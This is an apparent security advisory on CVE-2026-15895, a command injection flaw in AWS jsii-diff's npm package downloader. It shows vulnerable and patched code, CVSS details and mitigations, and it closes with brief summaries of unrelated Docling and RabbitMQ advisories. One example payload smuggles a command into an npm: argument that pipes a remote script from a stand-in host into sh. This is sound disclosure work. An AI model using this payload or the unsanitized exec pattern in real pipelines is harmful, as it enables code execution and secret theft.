Aug 8, 2026·7 min read·15 visits
Unsanitized input interpolation in jsii-diff's NPM package downloader allows local or pipeline-integrated attackers to execute arbitrary shell commands via crafted package names prefixed with npm:.
An OS command injection vulnerability exists in the npm package loading component of the jsii-diff CLI tool within the AWS jsii framework. Prior to version 1.131.0, when parsing package specifiers prefixed with `npm:`, the tool concatenated user-controlled inputs directly into a shell execution string via child_process.exec. This allows attackers to execute arbitrary shell commands under the context of the running Node.js process.
AWS jsii-diff is an integral utility within the AWS jsii framework, designed to perform semantic version checking and detect API breaking changes by comparing compiled library definitions. The tool allows developers to compare a local package or library definition against an arbitrary target, including packages hosted on the NPM registry. To facilitate remote comparison, jsii-diff provides an interface to resolve package configurations by specifying a package name prefixed with the npm: scheme.
The command-line parsing utility handles arguments matching this prefix by passing the remainder of the string to internal package-fetching logic. However, prior to version 1.131.0, the package-fetching functions in jsii-diff did not sanitize or escape the user-supplied package string before evaluating it within an OS-level execution wrapper. This design choice exposed a direct attack surface to any context where untrusted parameters could be passed to the jsii-diff CLI.
This vulnerability is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command. The primary impact is arbitrary shell command execution under the security context of the Node.js process executing the CLI. Depending on how the utility is integrated, this can lead to local privilege escalation, local environment compromise, or remote code execution in automated software supply chain pipelines.
The technical root cause of CVE-2026-15895 lies within the helper implementation in packages/jsii-diff/lib/util.ts. Specifically, the functions downloadNpmPackage and npmPackageExists accept an unvalidated string parameter representing the target NPM package. The utility relies on an abstracted execution wrapper around Node.js's native child_process.exec function to invoke the NPM command-line tool.
Node.js's child_process.exec functions by spawning an intermediate system shell (such as /bin/sh on Unix-like platforms or cmd.exe on Windows) to parse and run the provided command string. Because the pkg parameter is interpolated directly into the string literal passed to the executor, the shell interprets any control characters or shell metacharacters as syntax instructions rather than literal command arguments. This behavior allows attackers to chain or redirect processes using standard shell syntax.
In the vulnerable implementation of downloadNpmPackage, the code attempts to download the specified package using the command string `npm install --silent --prefix . $\{pkg\}`. Similarly, npmPackageExists validates existence using `npm show --silent $\{pkg\}`. The lack of prior input sanitization ensures that shell execution control flow is completely hijacked once a metacharacter (such as a semicolon, logical operator, backtick, or shell expansion sequence) is introduced into the argument.
A review of the patch applied in commit 9f42f274b23e80dd38dce51d0e8847149fcf2528 reveals that the remediation introduces an input validation boundary before any command compilation occurs. The newly implemented function validateValidPackageSpecifier(pkg) evaluates the package name against a strict, negative regular expression lookahead pattern to reject unsafe character patterns.
Below is the structural difference between the vulnerable code path and the patched code path in packages/jsii-diff/lib/util.ts:
// VULNERABLE CODE
export async function downloadNpmPackage<T>(
pkg: string,
block: (dir: string) => Promise<T>,
): Promise<NpmDownloadResult<T>> {
return inTempDir(async () => {
LOG.info(`Fetching NPM package ${pkg}`);
try {
// CRITICAL: Raw string interpolation with no sanitization
await exec(`npm install --silent --prefix . ${pkg}`);
} catch (e: any) {
// ...
}
});
}
// PATCHED CODE
export async function downloadNpmPackage<T>(
pkg: string,
block: (dir: string) => Promise<T>,
): Promise<NpmDownloadResult<T>> {
// FIX: Validate input against strict allowlist first
validateValidPackageSpecifier(pkg);
return inTempDir(async () => {
LOG.info(`Fetching NPM package ${pkg}`);
try {
await exec(`npm install --silent --prefix . ${pkg}`);
} catch (e: any) {
// ...
}
});
}The added validator validateValidPackageSpecifier uses the regular expression /[^a-z0-9@/:._-]/i. The pattern acts as a blocklist for characters outside the designated set. If the package identifier contains any characters that are not ASCII alphanumeric, @, /, :, ., _, or -, the application throws an exception immediately and halts execution. This prevents the interpolation of spaces or command separators into the shell environment.
To execute this vulnerability locally, an attacker must have command-line access to the host or the ability to pass arguments to an application invoking jsii-diff. The exploitation payload relies on shell command termination or chaining operators to split the single npm install instruction into multiple distinct executions. When the command parser encounters a semicolon ; or an ampersand &, it terminates the initial process and begins executing the appended command.
For example, invoking the CLI with the argument npm:lodash; curl -fsSL http://example.com/malicious.sh | sh shifts execution flow. The process first attempts to resolve and download lodash, then immediately transitions to executing the curl and shell pipes. The commands execute sequentially under the exact permissions of the parent Node.js shell process, without requiring any elevated credentials or administrative rights.
In a remote context, this exploit is highly applicable to continuous integration and delivery (CI/CD) environments. If a repository implements automated pull-request validation using jsii-diff and extracts package names dynamically from a client-controlled configuration file (such as package.json), a pull request containing a crafted package string will execute the command injection within the build runner. This exposes sensitive environment variables, signing keys, and cloud provider credentials stored in the runner's context.
The severity of CVE-2026-15895 is classified as High, with a CVSS v4.0 base score of 8.4 and a CVSS v3.1 base score of 7.8. The primary driver of this score is the potential for complete loss of confidentiality, integrity, and availability on the target machine where the Node.js process is active. Because the injected commands run with the privileges of the executing user, any local resources accessible to that user are compromised.
Within automated pipeline environments, the blast radius of this vulnerability increases significantly. CI/CD runners often possess elevated access tokens, cloud service roles, or access to private repository credentials. Successful command execution on these runners allows attackers to exfiltrate secrets, manipulate build artifacts, and inject malicious code directly into upstream software distributions, facilitating a supply chain attack.
Despite the high severity, the exploitability requires active user interaction or a specific pipeline configuration where external inputs are passed directly to the jsii-diff command arguments. This constraint is reflected in the CVSS v4.0 active user interaction requirement (UI:A) and the low EPSS score of approximately 0.0063 (0.63% exploitation probability over 30 days). No active in-the-wild exploitation has been recorded in the CISA KEV catalog.
The recommended remediation is to upgrade jsii-diff to version 1.131.0 or later immediately. The maintainers resolved the security issue by integrating the strict alphanumeric validation filter in the release on May 19, 2026. This completely blocks traditional command injection syntax from reaching the shell parser.
In environments where an immediate package upgrade is not feasible, organizations should apply defensive input sanitization manually or restrict access to the jsii-diff CLI. Any wrapper scripts or automated pipelines executing the CLI must validate package arguments using a strict allowlist. A recommended regular expression for validating package arguments at the pipeline orchestrator level is ^[a-zA-Z0-9@/._-]+$.
It is critical to recognize that while the regular expression /[^a-z0-9@/:._-]/i successfully blocks command injection, it still permits characters like : and /. This allows package specifiers to point to remote URLs (such as npm:https://example.com/payload.tgz) or local relative paths (such as npm:../../tmp/malicious). If npm resolves these targets, it may execute arbitrary lifecycle scripts defined in the package's package.json (such as preinstall or postinstall scripts). Therefore, defense-in-depth measures should include disabling script execution via the --ignore-scripts configuration in NPM or restricting network egress on CI/CD runners to verified registry endpoints.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
jsii-diff Amazon Web Services (AWS) | < 1.131.0 | 1.131.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 |
| Attack Vector | Local (CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A) |
| CVSS Score | 8.4 |
| EPSS Score | 0.0063 |
| Exploit Status | poc |
| KEV Status | Not Listed |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
An uncontrolled resource consumption vulnerability exists in the Docling document conversion library. Maliciously structured HTML, JATS, ODS, or BoxNote inputs containing table cells with excessively large 'rowspan' or 'colspan' attribute values trigger algorithmic complexity conditions. This allows unauthenticated remote attackers to initiate resource exhaustion states, crashing or hanging the target document processing pipeline while bypassing configured timeouts.
A Local File Inclusion (LFI) and Arbitrary File Disclosure vulnerability exists in Docling and Docling Slim versions >= 2.16.0 up to 2.131.0. When parsing serialized DoclingDocument structures using the JSON input format, the backend fails to restrict image URI schemes, allowing remote attackers to retrieve local files and verify path existence on the host system during embedded document export.
Docling, a tool for parsing and processing diverse document formats, is vulnerable to arbitrary file read, arbitrary file write, and potential remote code execution (RCE) in versions 2.94.0 through 2.131.0. The vulnerability occurs when applications configure Docling to use the Tectonic engine for rendering TikZ diagrams into images. Because the compilation did not restrict hazardous TeX primitives or sandbox the environment, an attacker can supply crafted documents containing malicious TikZ definitions to access or modify local files and execute arbitrary commands under the privileges of the processing application.
An SSRF guard bypass vulnerability in the Docling document conversion engine allows unauthenticated attackers to bypass internal IP access controls. The vulnerability exists due to a DNS rebinding Time-of-Check Time-of-Use (TOCTOU) condition, URL authority parsing inconsistencies, and unvalidated network requests triggered during headless browser page rendering.
A technical analysis of CVE-2026-105742 (GHSA-p3fw-7699-7926), a sensitive information disclosure vulnerability in the Docling document processing library. Vulnerable versions of Docling indiscriminately forward custom HTTP headers, such as authentication tokens, to arbitrary third-party origins and during cross-origin redirects while fetching remote image assets from untrusted HTML and EPUB documents.
CVE-2026-106121 is a Denial of Service (DoS) vulnerability in the RabbitMQ Java Client library (amqp-client) affecting versions prior to 5.37.0. The vulnerability resides in the legacy, custom JSON-RPC parsing class com.rabbitmq.tools.json.JSONReader. When parsing malformed or truncated payloads ending within a quoted string or single-line comment, the parser's scanner enters an infinite loop. This occurs because the loop lacks an exit condition for the end-of-input sentinel character returned by the iterator, leading to either CPU exhaustion or a JVM crash from an OutOfMemoryError.